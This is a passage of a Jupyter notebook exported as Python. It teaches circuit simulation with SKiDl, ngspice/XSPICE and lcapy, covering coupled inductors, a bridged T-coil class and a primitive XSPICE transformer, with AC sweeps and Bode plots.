gnd\nrdummy[2]+=net_in\n\nl1=L(value=1@u_H)\nl2=L(value=4@u_H)\nrdummy2=R(ref='dummy', value=0@u_Ohm)\n\nl1[1, 2]+=net_in, gnd\nrdummy2[1, 2]+=l1[1], l2[2]\nl2[1]+=gnd\nk=K(ind1=l1, ind2=l2, coupling=0.5)\n\ncirc_k=generate_netlist()\nprint(circ_k)\n\n\n# In[34]:\n\n\nanylsis_k=mutual_tester(circ_k, 'Anti-Parallel Inductors with Coupling')\n\n\n# ### Equivalent Single Inductor\n\n# In[35]:\n\n\nreset()\n#create the nets\nnet_in=Net('In')\n\n#create a 1V AC test source and dummy R and attache to nets\nvs=SINEV(ac_magnitude=1@u_V)\nrdummy=R(ref='dummy', value=0@u_Ohm)\nvs['p', 'n']+=rdummy[1], gnd\nrdummy[2]+=net_in\n\nl1=L(value=1@u_H)\nnet_in & l1[1, 2] & gnd\n\n#k=K(ind1=l1, ind2=l2, coupling=0.5)\n\ncirc_eq=generate_netlist()\nprint(circ_eq)\n\n\n# In[36]:\n\n\nanylsis_eq=mutual_tester(circ_eq, 'Equivalent Anti-Parallel Inductor')\n\n\n# ### Compersion between all three cases\n\n# In[37]:\n\n\n#compare without K, with K, theoretical equivalent \ncomp_plot=eecomplex_plot_templets()\nfig, [ax_mag, ax_phase]=plt.subplots(ncols=1, nrows=2)\ncomp_plot.bode_plot_two_templet(anylsis_nok.ac_sim_mag_DF.index,\n                               anylsis_nok.ac_sim_mag_DF['V1_[A][dB]'],\n                               anylsis_nok.ac_sim_phase_DF['V1_[A][deg]'],\n                        axs=[ax_mag, ax_phase]\n                               )\nax_mag.semilogx(anylsis_k.ac_sim_mag_DF.index, anylsis_k.ac_sim_mag_DF['V1_[A][dB]'], label='mitK')\nax_phase.semilogx(anylsis_k.ac_sim_mag_DF.index, anylsis_k.ac_sim_phase_DF['V1_[A][deg]'], label='mitK')\n\n\nax_mag.semilogx(anylsis_eq.ac_sim_mag_DF.index, anylsis_eq.ac_sim_mag_DF['V1_[A][dB]'], alpha=.4, label=\"eq\")\nax_phase.semilogx(anylsis_eq.ac_sim_mag_DF.index, anylsis_eq.ac_sim_phase_DF['V1_[A][deg]'], alpha=.4, label='eq')\n\nax_mag.legend()\nax_phase.legend()\n\nplt.suptitle('Compersion Bode plots of Anti-Parallel Inductors')\nplt.tight_layout();\n\n\n# # Purposely designed Mutual Inductive Element; The Razivi T-Coil\n# \n# So, the question that should be asked is when does mutual induction come into play outside of transformers. From a field\u2019s standpoint, mutual induction can be used in testing the effect of placing inductors too close to each other in layout by extracting $k$ from the field simulation. But it does have uses. One of which that shows up a lot in high-speed SERDES is the Razivi T-Coil where a paper on the topology can be found there: [The Bridged T-Coil](https://www.seas.ucla.edu/brweb/papers/Journals/BRFall15TCoil.pdf).\n# \n# A study of a variation of the T-coil was given by Jordan Edmunds in a two-part YT video on the subject. Where we will recreate the example from part two.\n# \n\n# In[38]:\n\n\nYouTubeVideo('-kSSMOAhlwU', width=500, height=400)\n\n\n# In[39]:\n\n\nYouTubeVideo('vr2oYehKC8Q', width=500, height=400)\n\n\n# In[40]:\n\n\n#%%writefile -a AC_2_Codes.py\n#chapteer 2 section 3 t_coil class\n#class with lcapy and skidl subcircuit to create a T-coil from https://youtu.be/vr2oYehKC8Q\n\nclass t_coil():\n    def __init__(self, subcirc_ref=None, L_value=375@u_nH, K_value=1.0/3.0, CB_value=.125@u_pF, CL_value=1@u_pF):\n        \"\"\"\n        T-Coil example from https://youtu.be/vr2oYehKC8Q example\n        \n        Args:\n            subcirc_ref (str): reference to use for the base of the internal elements\n            L_value (float; 375@u_nH; Henerys):  inductance of each of the two inductors in the T-coil\n            K_value (float; 1/3): the magnetic coupling between the two inductors\n            CB_value (float; .125@u_pF; Farads): capacitance of the bridge capacitor between the two coils\n            CL_value (float; 1@u_pF; Farads): capacitance of the shunt capacitor between the two cols\n        \n        Returns:\n            None\n        TODO:\n            -add assertions\n\n        \"\"\"\n        \n        self.subcirc_ref=subcirc_ref\n        self.L_value=L_value\n        self.K_value=K_value\n        self.CB_value=CB_value\n        self.CL_value=CL_value\n    \n    @subcircuit\n    def SKiDl(self, term_0, term_1, term_2, term_3, return_elements=False):\n        \"\"\"\n        Terminals:\n        term_0, term_1, term_2, term_3\n        \n        Terminals are defined via:\n        ```\n        Left_Termanals - T-coil - Right_Termanals\n                             +----+  \n        Postive V_i   term_0-|0  2|-term_2     Postive V_o\n        Negtive V_i   term_1-|1  3|-term_3     Negtive V_o\n                             +----+\n        ```\n        \n        Args:\n            return_internls (bool; False): If True return out the internal Voltage Source,\n                and Resistance objects in this package\n        Returns:\n            Returns elements to circuit RC lowpass filter part element object and if `return_internls`\n            is True will return the internal voltage and resistance objects in that order \n        \"\"\"\n        if self.subcirc_ref!=None:\n            CBref={'ref':f'CB_{self.subcirc_ref}'}\n            CLref={'ref':f'CL_{self.subcirc_ref}'}\n            LLref={'ref':f'LL_{self.subcirc_ref}'}\n            LRref={'ref':f'LR_{self.subcirc_ref}'}\n        \n        else:\n            CBref={}\n            CLref={}\n            LLref={}\n            LRref={}\n        \n        self.cb=C(value=self.CB_value, **CBref)\n        self.cl=C(value=self.CL_value, **CLref)\n        self.ll=L(value=self.L_value, **LLref)\n        self.lr=L(value=self.L_value, **LRref)\n        self.mul=K(ind1=self.ll, ind2=self.lr, coupling=self.K_value)\n        \n        term_0 & self.ll[2, 1]  & self.lr[2, 1] & term_2\n        self.cb['p', 'n']+=term_0, term_2\n        self.cl['p', 'n']+=self.ll[1], term_1\n        term_1+=term_3\n        \n        if return_elements:\n            return self.cb, self.cl, self.ll, self.lr, self.mul\n        \n        \n        \n        \n    def lcapy_self(self, draw_me=True, with_values=True):\n        \"\"\"\n        Creates a lcapy schematic of this classes filter that\n        can be used for amongst other things: draw a basic schematic\n        of this class circuit, extract the transfer function, \n        extract the 2Port Representation\n        \n        Args:\n            draw_me (bool): will draw a schematic of this classes circuit schematic\n            \n            with_values (bool): will push the filters element values into\n                the resulting lcapy circuit object in place of abstract simply variables\n            \n        Return:\n            the lcapys circuit object is stored in `self.schematic` and will\n            have abstract sympy variable for the elements if `with_values` is False\n            and will draw the schematic of just this classes filter if `draw_me` is True\n        \n        TODO:\n            - Figure out how to add the K dots\n            - get the Vin statement into the schematic\n        \n        \"\"\"\n        self.with_values=with_values\n        \n        \n        self.schematic=kiwi.Circuit()\n        self.schematic.add('W 1 1_1; right=2')\n        self.schematic.add('W 0 0_1; right')\n        \n        self.schematic.add('Ll N1 0_1; left')\n        self.schematic.add('Lr N1 2_1; right')\n        self.schematic.add('Cl N1 1_1; down')\n        \n        self.schematic.add('W 0_1 0_2; up')\n        self.schematic.add('W 2_1 2_2; up')\n        self.schematic.add('Cb 0_2 2_2; right')\n        \n        self.schematic.add('W 2_1 2; right=1.5')\n        self.schematic.add('W 1_1 3; right=1.5')\n        self.schematic.add('P2 2 3; down, v=V_o')\n        \n        \n        if with_values:\n            self.schematic=self.schematic.subs({\n                'Ll':self.L_value,\n                'Lr':self.L_value,\n                'Cl':self.CL_value,\n                'Cb':self.CB_value})\n        \n        if draw_me:\n            self.schematic.draw()\n    \n    def get_tf(self, with_values=True, ZPK=True):\n        \"\"\"\n        will extract the symbolic transfer function for this filter\n        \n        Args:\n            with_values (bool): will push the filters element values into\n                the resulting lcapy circuit object in place of abstract sympy variables\n            \n            ZPK (bool): if True will try to return the TF in zero-pole-gain form\n                else will try to return the TF in canonical form \n                where the unity coefficient is the highest power of the denominator\n        \n        \"\"\"\n        self.lcapy_self(draw_me=False, with_values=with_values)\n        self.tf=self.schematic.transfer(0, 1, 2, 3)\n        \n        if ZPK:\n            return self.tf.ZPK()\n        else:\n            return self.tf.canonical()\n        \n    def get_twoPort(self, network_rep='Y', with_values=True):\n        \"\"\"\n        Gets the 2Port network representation of this filter.\n        The 2Port representation can be controlled\n        \n        Args:\n            network_rep (str; 'Y'): control string for what\n                representation is used to choose from:\n                \n                'Z': two-port Z-parameters matrix\n                'Y': two-port Y-parameters matrix\n                'H': two-port H-parameters matrix\n                'G': two-port G-parameters matrix\n                'ABCD': two-port A-parameters matrix\n                'invABCD': two-port B-parameters matrix\n                'S': two-port S-parameters matrix\n                'T': two-port T-parameters matrix\n                \n                \n        \"\"\"\n        \n        self.lcapy_self(draw_me=False, with_values=with_values)\n        \n        #create an action dict to get the 2P rep\n        rep_actions={\n            'Z':lambda x: x.Zparams(0, 1, 2, 1),\n            'Y':lambda x: x.Yparams(0, 1, 2, 1), \n            'H':lambda x: x.Hparams(0, 1, 2, 1),\n            'G':lambda x: x.Gparams(0, 1, 2, 1),\n            'ABCD':lambda x: x.Aparams(0, 1, 2, 1),\n            'invABCD':lambda x: x.Bparams(0, 1, 2, 1),\n            'S':lambda x: x.Sparams(0, 1, 2, 1),\n            'T':lambda x: x.Tparams(0, 1, 2, 1),\n        }\n        \n        assert network_rep in rep_actions.keys(), f'`{network_rep}` is not 2Port rep'\n        \n        return rep_actions[network_rep](self.schematic)\n\n\n# In[41]:\n\n\nT_coil=t_coil()\nT_coil.lcapy_self()\n\n\n# In[42]:\n\n\n#get this filters abstract transfer function\nT_coil.get_tf(with_values=False, ZPK=False)\n\n\n# In[43]:\n\n\n#get this filters transfer function\nT_coil.get_tf(with_values=True, ZPK=False)\n\n\n# In[44]:\n\n\nreset()\n#create the nets\nnet_in=Net('In'); net_out=Net('Out')\n\n#create a 1V AC test source and dummy R and attache to nets\nvs=SINEV(ac_magnitude=1@u_V)\nrdummy=R(ref='dummy', value=0@u_Ohm)\nvs['p', 'n']+=rdummy[1], gnd\nrdummy[2]+=net_in\n\nT_coil.SKiDl(net_in, gnd, net_out, gnd)\n\ncirc=generate_netlist()\nprint(circ)\n\n\n# In[45]:\n\n\nt_coil_resp=qfilter_explorer(circ, 'Equivalent', start_freq=1e7, stop_freq=1e10)\n\n\n# In[46]:\n\n\nt_coil_resp.symbolic_tf(T_coil)\n\n\n# # Transformers\n# \n# Am just doing a basic transformer with XSPICE will come back and do the specialty ones at a later time\n\n# ## Basic Transformer with XSPICE\u00b6\n# \n# With just SPICE the transformer is modeled as a pair of coupled inductors with a coupling constant between them. So this doesn't work well for transformers. Yes, we could do it this way but it would be a laughable facsimile to a real transformer with real cores. And again SPICE is not a field solver. So to increase the capability of SPICE more advanced models have been developed. Unfortunately, most of these SPICE enhancements get swallowed up by proprietary EDA companies. But there is a major extension to Berkely's SPICE (what the core of ngspice is based on) via the Georgia Tech Research Institute that is open source and has been integrated into ngspice; XSPICE.\n# \n# Here we will just start using XSPICE to create a very simple implementation of a transformer based on what is in the ngspice documentation. But of course, we will do this with SKiDl and wrap it in a class that can give a user or developer a template to bespoke it to their needs.\n# \n\n# ## Quick rundown on instantiating XSPICE elements with SKiDl\n# \n# While XSPICE has a whole part of the ngspice manual dedicated to it (typically Part 2) the basic XSPICE elements are typically documented in Part 1 Chapter 12 \"Mixed-Mode and Behavioral Modeling with XSPICE\". The important parts of that chapter are \"Table 12.1: Port Type Modifiers\" and Section 12.5 \"Predefined Node Types for event-driven simulation\". The rest of the chapter is broken down into three main sections:\n# \n# -\tAnalog Models (12.2): these are XSPICE elements with both analog input and outputs like Diodes, S-Domain Transfer Functions, Memristors, etc\n# \n# -\tHybrid Models (12.3): these are XSPICE elements with a mixture of analog and digital IOs such as DAC, ADC, Controlled Digital Oscillators\n# \n# -\tDigital Models (12.4): there XSPICE elements with full digital IOs such as RTL logic primitives of AND, NAND, NOR, Latches, and Flip-Flops\n# \n# To create the primitive XSPICE transformer we are going to need two XSPICE *Inductive Coupling* elements (12.2.18) and one XSPICE *Magnetic Core* element (12.2.19)\n# \n# Let's just do a walkthrough of invoking an *Inductive Coupling* element in SKiDl. First off in the ngspice documentation all XSPICE elements are documented with a three-column table where at the top of the table we get some basic info for the element. What we are after here is the **Spice_Model_Name** row which in this case is `lcouple`. This tells the engine what XSPICE element were using like how `V` tells the engine that the element is a voltage source. The next main section in the table is the Port description *PORT_TABLE* where for each port it has an entry. Notice for an lcouple element it has two ports `l` and `mmf_out` in the center and far left column respectively. For each port, the most important info is **Allowed_Types** were to understand the cryptic type codes we need to refer to \"Table 12.1: Port Type Modifiers\". For `l` we have two allowed types `h` which is a single-ended input referenced to ground, and `hd` which is a differential input with no reference. Here's the thing, the translation from SKiDl though PySPICE to ngspice will not infer the grounded connection therefore go with the high number of terminals. So in this case port `l` will have two terminals where we are free to make the names of them whatever we want, will go with `io1` and `io2` respectively, but that is your choice though the DOT will go with the first terminal. For the other port `mmf_out` it is only a hd port so we have to create two terminals for it that again can be arbitrarily named but we will go with `mmf1`, `mmf2` here. This is the port that outputs the magnetic flux \"current\" to another lcouple element or magnetic core element. The last section is the *PARAMETER_TABLE* which can be quite extensive, but for the lcouple element is just a single parameter. Where each parameter will have info about its type, default value, bounds, etc. Where that can, and in our transformer class, used to write the parameter assertions. For an lcouple element, the only parameter is `num_turns` which is the number of turns for that particular lcouple element. Which, we will write the assertion to be that `num_turns` must be an integer greater than or equal to 1. Armed with the info we need to invoke our element lets look at doing so with SKiDl\n\n# The follwing will be a non function cirucit to demnstrate instaint xarray elements with SKiDl before the exstaince class for a full transfomer. We start by create a varibel that holds the number of turns for this inductor and follow it up with an assertion to make sure only valid inputs are allowed\n\n# In[47]:\n\n\n#var to hold the number of turns\nN_turns=5\n#assertion\nassert isinstance(N_turns, int) and N_turns>=1, 'N_turns must be int >=1'\n\n\n# We then instantiate the lcouple instance and tie it into the circuit as follows and then dissect what was done\n\n# In[48]:\n\n\n#refrance lines number in markdown below don't change them\nreset()\n#create some dummy nets \nio1_dnet=Net('io1D'); io2_dnet=Net('io2D'); mmf1_dnet=Net('mmf1D'); mmf2_dnet=Net('mmf1D')\n\n#instatine the XSPICE lcouple elment\nl_couple_ex = A( # `A` is the ngspice control leter for XSPICE elements\n            io=\"io1, io2, mmf1, mmf2\",  #io1 & io2 \\in port`l` and `mmf1` & `mmf2` \\in port `mmf_out`\n            model=XspiceModel( #`model` is filling in the blank for a `A` element and `XspiceModel` for SkiDl\n                \"ex_lcouple\", #name for this element instance\n                \"lcouple\", #what type of XSPICE element this is\n                num_turns=N_turns #element parameters as kwargs\n            ),\n        )\n\n#tie in the lcouple element to the nets\n#first tie to the circuit\nl_couple_ex['io1', 'io2']+=io1_dnet, io2_dnet\n#second tie for the flux\nl_couple_ex['mmf1', 'mmf2']+=mmf1_dnet, mmf2_dnet\n\ncirc=generate_netlist()\nprint(circ)\n\n\n# In line 7 we instantiate the XSPICE element within a SPICE element type `A`. This is followed up in line 8 with the declaration/creation of the IO terminals. The first port `l` is a `hd` type port therefore differential terminals are appropriately instantiated as `io1` & `io2` followed with port `mmf_out` which is only a `hd` type and so has the arbitrary terminals `mmf1` & `mmf2`. Both these ports are done in one string `\"io1, io2, mmf1, mmf2\"`. Next in line 9, we invoke `model=XspiceModel` where XspiceModel is the pass-through handler from SKiDl through to the ngspice netlist. The first argument of `XspiceModel` is the name of this element instance in line 10 `ex_lcouple`; where for the full transformer below this will be more descriptive with `primary` and `secondary` to indicate which lcouple element is taking on wich role. The next argument of `XspiceModel` in line 11 must be the **Spice_Model_Name** from the elements document table in the ngspice manual where for a lcouple it's lcouple. The rest of the arguments are pythonic kwags inputs where the argument is the parameter verbatim of its **Parameter_Name:** in the documentation table then set equal to the value we want it to take. In lcouple elements, there is only a single parameter `num_turns` that we set equal to our variable `N_turns` in line 12. From there we have a now standard SkiDl element that we attach to the rest of the circuit like normal. Thou what actually attaches to what is dictated by the port type and what it's meant to do. For a lcouple element port `mmf_out` which is made of terminals `mmf1` & `mmf2` is intended to pass a representation of the magnetic flux to either another lcouples `mmf_out` port or to a magnetic core element.\n\n# ## XSPICE made primitive Transformer\n# \n# Now know how to translate an XSPICE element from the ngspice docs to a SKiDl element. We now construct a class to act as a very primitive transformer model. And by primitive we mean it does not take into account the resistive and capacitive nature of each of the ports that must be modeled for a more sophisticated transformer model. All the values and basic configuration are taken from the ngspice 32 manual section 12.2.19 examples\n# \n\n# In[49]:\n\n\n#%%writefile -a AC_2_Codes.py\n#chapteer 2 section 3 basic_xspice_transformer class\n#class with skidl subcircuit to create primitive XSPICE transformer-based\n#on the ex in ngspice 32 manual section 12.2.19\n\nclass basic_xspice_transformer():\n    \"\"\"\n    Basic XSPICE based two-port transformer based on the example\n    in ngspice 32 manual section 12.2.19\n    \"\"\"\n    \n    def __init__(self, subcirc_ref=None, prim_turns=1, sec_turns=1, parallel=True):\n        \"\"\"\n        Create a primitive two-port transformer with a magnetic core\n        where core parameters are set in `self.core_specs`\n        \n       Args:\n            subcirc_ref (str): reference to use for the base of the internal elements\n            prim_turns (int; 1; None): the number of turns on the primary port \n                of the transformer must be an int >=1\n            \n            sec_turns (int; 1; None): the number of turns on the primary port \n                of the transformer must be an int >=1\n            \n            parallel (bool; True): If True will put the primary and secondary ports\n                in parallel dot configuration else will put them in anti- parallel config\n            \n        Returns:\n            None\n        TODO:\n            -really investigate the anti parrel config to make sure it's working\n                as it's supposed to\n\n    \n        \"\"\"\n        self.subcirc_ref=subcirc_ref\n        \n        assert prim_turns>=1 and sec_turns>=1, 'turns must be >= 1'\n        self.prim_turns=prim_turns; self.sec_turns=sec_turns\n        \n        self.parallel=parallel\n        \n        self.core_specs()\n    \n    def core_specs(self, \n                   H_array=None, B_array=None, \n                   area=0.01, length=0.01, \n                   input_domain=0.01, \n                   fraction=True, \n                   mode=1, \n                   in_low=-7.0, in_high=7.0,\n                   hyst=2.3, out_lower_limit=-2.5e-4,\n                   out_upper_limit=2.5e-4,\n                  #tried to make it look like the table in the ngspice manual\n                  make_plot=False):\n        \"\"\"\n        Access method to set all the core properties, if `make_plot` is true \n        will produce a plot of the BH curve\n        \n        Args:\n        (see assertions in code below for each inputs constraints)\n        (default values are taken from the two examples in ngspice 32 12.2.19,\n        not from the default values in `core`'s docs )\n        \n            H_array (np.array/None; None; ATurns/m): array for the core's main BH curve H values\n             if None will use default in the ngspice 32 manual examples in 12.2.19;\n             used only in pwl mode\n            \n            B_array (np.array/None; None; T):array for the core's main BH curve B values\n             if None will use default in the ngspice 32 manual examples in 12.2.19; \n             used only in pwl mode\n            \n            area (float; 0.01; m^2): the cross-section area of the core such that the flux\n                will be \\psi=B *A where A is the area and B is the B part of the BH curve; \n                used only in pwl mode\n                \n            length (float; 0.01; m): length of the core will scall the io mmf such that\n            H=mmf/L where H is the H part of the BH curve, mmf is the IO mmf and L is the length; \n            used only in pwl mode\n            \n            input_domain (float; 0.01; ?): docs are not clear what this is\n            \n            fraction (bool; True): if True apply smoothing to the BH curve vs nearest value in BH curve array\n            \n            mode (int; 1): if `1` use a pwl model of the core else `2` use a hysteresis model\n            \n            in_low (float; -7.0; ?): input low value, ?; used only when using hysteresis mode\n            \n            in_high (float; 7.0; ?): input high value, ?; used only when using hysteresis mode\n            \n            hyst (float; 2.3; ?): hysteresis, ?; used only when using hysteresis mode\n            \n            out_lower_limit (float; -2.5e-4; ?): ouput lower limit. ? ; used only when using hysteresis \n            \n            out_upper_limit (float; 2.5e-4; ?): ouput upper limit, ? ; used only when using hysteresis \n            \n            make_plot (bool; False): if True create a plot of the BH curve and\n                returns that plots axis\n            \n        \n        Returns:\n            create atriputes of XSPICE core parmaters like `self.*_V` that \n            hold the parmter value to pass to the core instaince in `self.SKiDl`.\n            If `make_plot` is True will create plot of BH curve and retrun it's axis\n            \n        \n        TODO:\n            - beef up the docs about the hysteresis from a source other then the ngspice manual\n            - beef up the plots\n        \n        \n        \"\"\"\n        \n        if (H_array==None) or (B_array==None):\n            assert (H_array is None) and (B_array is None), 'Both H & B must be None or equal np.arrays'\n            H_array=np.array([-1000, -500, -375, -250, -188, -125, -63, 0, 63, 125, 188, 250, 375, 500, 1000])\n            B_array=np.array([-3.13e-3, -2.63e-3, -2.33e-3, -1.93e-3, -1.5e-3, -6.25e-4, -2.5e-4, 0, 2.5e-4, 6.25e-4, 1.5e-3, 1.93e-3, 2.33e-3, 2.63e-3, 3.13e-3])\n        else:\n            assert isinstance(H_array, (np.ndarray, np.generic) ) and isinstance(H_array, (np.ndarray, np.generic) ), 'Both H & B must be None or eual np.arrays'\n        \n        assert (H_array.shape==B_array.shape) and (H_array.shape[0]>1) and (H_array.ndim==1), 'H and B arrays must be eual 1 dim arrays'\n        self.H_array_V=H_array; self.B_array_V=B_array  \n        \n        assert isinstance(area, float) and (area>=0), 'area must be a float >=0'\n        self.area_V=area\n        \n        assert isinstance(length, float) and (length>=0), 'length must be a float >=0'\n        self.length_V=length\n        \n        assert isinstance(input_domain, float) and (input_domain>=1e-12) and (input_domain<=0.5), 'input_domain must be a float >=1e-12 and <=0.5'\n        self.input_domain_V=input_domain\n        \n        assert isinstance(fraction, bool), 'fraction must be a bool'\n        self.fraction_V=fraction\n        \n        assert mode in [1,2], 'mode is a control value 1:pwl, 2:hyst; only'\n        self.mode_V=mode\n        \n        assert isinstance(in_low, float) and (in_low<in_high), 'in_low must be a float less then in_high'\n        self.in_low_V=in_low\n        \n        assert isinstance(in_high, float) and (in_low<in_high), 'in_high must be a float greater then in_low'\n        self.in_high_V=in_high\n        \n        assert isinstance(hyst, float) and (hyst>0.0), 'hyst must be a float greater than 0'\n        self.hyst_V=hyst\n        \n        assert isinstance(out_lower_limit, float) and (out_lower_limit<out_upper_limit), 'out_lower_limit must be a float less then in_high'\n        self.out_lower_limit_V=out_lower_limit\n        \n        assert isinstance(out_upper_limit, float) and (out_lower_limit<out_upper_limit), 'out_upper_limit must be a float less then out_lower_limit'\n        self.out_upper_limit_V=out_upper_limit\n        \n        \n        if make_plot:\n            fig, ax=plt.subplots(ncols=1, nrows=1)\n            \n            ax.plot(self.H_array_V, self.B_array_V, marker='o' , label='Main BH Curve')\n            ax.set_xlabel('magfield_H_[ATurns/m]'); ax.set_ylabel('flux_density_B_[T]')\n            ax.axvline(color='black', linestyle='--', alpha=0.5); ax.axhline(color='black', linestyle='--', alpha=0.5)\n            ax.grid()\n            ax.legend()\n            if self.subcirc_ref==None:\n                title=''\n            else:\n                title=self.subcirc_ref\n            ax.set_title(f'B-H Curve for Transfomer {title}')\n            \n            return ax\n    @subcircuit\n    def SKiDl(self, term_0, term_1, term_2, term_3, return_elements=False):\n        \"\"\"\n        Terminals:\n        term_0, term_1, term_2, term_3\n        \n        Terminals are defined via:\n        ```\n        Left_(prime)Termanals - Transformer - Right_(sec)Termanals\n                    (dot)   +--core--+  (dot if parallel)\n        Postive V_i   term_0-|0 || 2|-term_2     Postive V_o\n        Negtive V_i   term_1-|1 || 3|-term_3     Negtive V_o\n                             +------+ (dot if anti-parallel) \n        ```\n        \n        Args:\n            return_internls (bool; False): If True return out the internal Voltage Source,\n                and Resistance objects in this package\n        Returns:\n            Returns elements to circuit RC lowpass filter part element object and if `return_internls`\n            is True will return the internal voltage and resistance objects in that order \n        \"\"\"\n        \n        # Creating an XSPICE part using the SPICE abbreviation 'A'.\n        #Createing the primary side\n        prim = A(\n            io=\"io1, io2, mmf1, mmf2\",  #io1 & io2 \\in port`l` and `mmf1` & `mmf2` \\in port `mmf_out`\n            model=XspiceModel(\n                f\"prim_{self.subcirc_ref}\",\n                \"lcouple\",\n                num_turns=self.prim_turns\n            ),\n        )\n        \n        #creating the secondary side\n        sec = A(\n            io=\"io1, io2, mmf1, mmf2\", \n            model=XspiceModel(\n                f\"sec_{self.subcirc_ref}\",\n                \"lcouple\",\n                num_turns=self.sec_turns\n            ),\n        )\n        \n        #connect the \"inductors\" to the outside world\n        #the lcouples did not like having their ports named just 1, 2\n        prim['io1', 'io2']+=term_0, term_1\n        if self.parallel:\n            sec['io1', 'io2']+=term_2, term_3\n        else:\n            sec['io2', 'io1']+=term_2, term_3\n        \n        \n        #instatnint the core\n        core=A(\n            io=\"top, bot\", #couldnt think of a better i/o name \n            model=XspiceModel(\n                f'core_{self.subcirc_ref}',\n                'core',\n                H_array=self.H_array_V.tolist(),\n                B_array=self.H_array_V.tolist(),\n                area=self.area_V,\n                length=self.length_V,\n                input_domain=self.input_domain_V,\n                fraction=self.fraction_V,\n                mode=self.mode_V,\n                in_low=self.in_low_V,\n                in_high=self.in_high_V,\n                hyst=self.hyst_V,\n                out_lower_limit=self.out_lower_limit_V,\n                out_upper_limit=self.out_upper_limit_V\n\n            )\n        )\n        \n        \n        #connect the core to the mmf control i/o for the lcoupled inductors\n        #direct connect of the `mmfs`'s together yield singular matrix, gnd should be fine\n        prim['mmf1', 'mmf2']+=core['top'], gnd\n        if self.parallel:\n            sec['mmf1', 'mmf2']+=core['bot'], gnd\n        else:\n            sec['mmf2', 'mmf1']+=core['bot'], gnd\n    \n    def lcapy_self(self):\n        \"\"\"\n        leaving off all the lcapy stuff since it won't do anti parral config\n        \"\"\"\n        pass\n\n\n# ## Parallel Primary and Seconday configeration\n\n# In[50]:\n\n\ntransformer=basic_xspice_transformer(prim_turns=2, sec_turns=5)\n#dont change any core prop, but make the plot \ntransformer.core_specs(make_plot=True);\n\n\n# In[51]:\n\n\nreset()\n#create the nets\nnet_in=Net('In'); net_out=Net('Out')\n\n#create a 1V AC test source and dummy R and attache to nets\nvs=SINEV(ac_magnitude=1@u_V)\nrdummy=R(ref='dummy', value=0@u_Ohm)\nvs['p', 'n']+=rdummy[1], gnd\nrdummy[2]+=net_in\n\n\n#conenct the subcircuit\ntransformer.SKiDl(net_in, gnd, net_out, gnd)\n\n#create a load\nrload=R(ref='load', value=100@u_Ohm)\nload_amm=V(ref='amm_load', dc_value=0)\nnet_in & rload & load_amm & gnd\n\ncirc=generate_netlist(libs=\"SpiceLib\")\nprint(circ)\n\n\n# In[52]:\n\n\ntrans_sim=ac_ease(circ)\ntrans_sim.ac_sweep_setup(10@u_Hz, 1@u_GHz, 20, 'decade', True)\ntrans_sim.do_ac_sim()\ntrans_sim.ac_resultsNB_DF.columns\n\n\n# In[53]:\n\n\npar_data=ac_representation_tool(trans_sim.ac_resultsNB_DF)\npar_data.make_mag_phase()\n\n\n# In[54]:\n\n\npar_data.ac_sim_mag_DF.columns\n\n\n# In[55]:\n\n\npar_plot=eecomplex_plot_templets()\nfig, [axmag, axphase]=plt.subplots(ncols=1, nrows=2)\npar_plot.bode_plot_two_templet(par_data.ac_sim_mag_DF.index, \n                               par_data.ac_sim_mag_DF['In_[V][dB]'], par_data.ac_sim_phase_DF['In_[V][deg]'],\n                              axs=[axmag, axphase], title='Par Currents')\n\naxmag.semilogx(par_data.ac_sim_mag_DF.index, par_data.ac_sim_mag_DF['Out_[V][dB]'], label='Out')\naxphase.semilogx(par_data.ac_sim_mag_DF.index, par_data.ac_sim_phase_DF['Out_[V][deg]'], label='Out')\n\naxmag.legend(); axphase.legend()\nplt.tight_layout()\n\n\n# In[56]:\n\n\npar_plot=eecomplex_plot_templets()\nfig, [axmag, axphase]=plt.subplots(ncols=1, nrows=2)\npar_plot.bode_plot_two_templet(par_data.ac_sim_mag_DF.index, \n                               par_data.ac_sim_mag_DF['V1_[A][dB]'], par_data.ac_sim_phase_DF['V1_[A][deg]'],\n                              axs=[axmag, axphase], title='Par Currents')\n\naxmag.semilogx(par_data.ac_sim_mag_DF.index, par_data.ac_sim_mag_DF['Vamm_load_[A][dB]'], label='Out')\naxphase.semilogx(par_data.ac_sim_mag_DF.index, par_data.ac_sim_phase_DF['Vamm_load_[A][deg]'], label='Out')\n\naxmag.legend(); axphase.legend()\nplt.tight_layout()\n\n\n# ## Anti-Parallel Primary and Secondary configuration\n# \n# Need to verify this better with a transient simulation.\n\n# In[57]:\n\n\ntransformer=basic_xspice_transformer(prim_turns=2, sec_turns=5, parallel=False)\n\n\n# In[58]:\n\n\nreset()\n#create the nets\nnet_in=Net('In'); net_out=Net('Out')\n\n#create a 1V AC test source and dummy R and attache to nets\nvs=SINEV(ac_magnitude=1@u_V)\nrdummy=R(ref='dummy', value=0@u_Ohm)\nvs['p', 'n']+=rdummy[1], gnd\nrdummy[2]+=net_in\n\n\n#conenct the subcircuit\ntransformer.SKiDl(net_in, gnd, net_out, gnd)\n\n#create a load\nrload=R(ref='load', value=100@u_Ohm)\nload_amm=V(ref='amm_load', dc_value=0)\nnet_in & rload & load_amm & gnd\n\ncirc=generate_netlist(libs=\"SpiceLib\")\nprint(circ)\n\n\n# In[59]:\n\n\ntrans_sim=ac_ease(circ)\ntrans_sim.ac_sweep_setup(10@u_Hz, 1@u_GHz, 20, 'decade', True)\ntrans_sim.do_ac_sim()\ntrans_sim.ac_resultsNB_DF.columns\n\n\n# In[60]:\n\n\nantipar_data=ac_representation_tool(trans_sim.ac_resultsNB_DF)\nantipar_data.make_mag_phase()\n\n\n# In[61]:\n\n\nantipar_data.ac_sim_mag_DF.columns\n\n\n# In[62]:\n\n\npar_plot=eecomplex_plot_templets()\nfig, [axmag, axphase]=plt.subplots(ncols=1, nrows=2)\npar_plot.bode_plot_two_templet(antipar_data.ac_sim_mag_DF.index, \n                               antipar_data.ac_sim_mag_DF['In_[V][dB]'], antipar_data.ac_sim_phase_DF['In_[V][deg]'],\n                              axs=[axmag, axphase], title='Anti-Par Voltages')\n\naxmag.semilogx(antipar_data.ac_sim_mag_DF.index, antipar_data.ac_sim_mag_DF['Out_[V][dB]'], label='Out')\naxphase.semilogx(antipar_data.ac_sim_mag_DF.index, antipar_data.ac_sim_phase_DF['Out_[V][deg]'], label='Out')\n\naxmag.legend(); axphase.legend()\nplt.tight_layout()\n\n\n# In[63]:\n\n\npar_plot=eecomplex_plot_templets()\nfig, [axmag, axphase]=plt.subplots(ncols=1, nrows=2)\npar_plot.bode_plot_two_templet(antipar_data.ac_sim_mag_DF.index, \n                               antipar_data.ac_sim_mag_DF['V1_[A][dB]'], 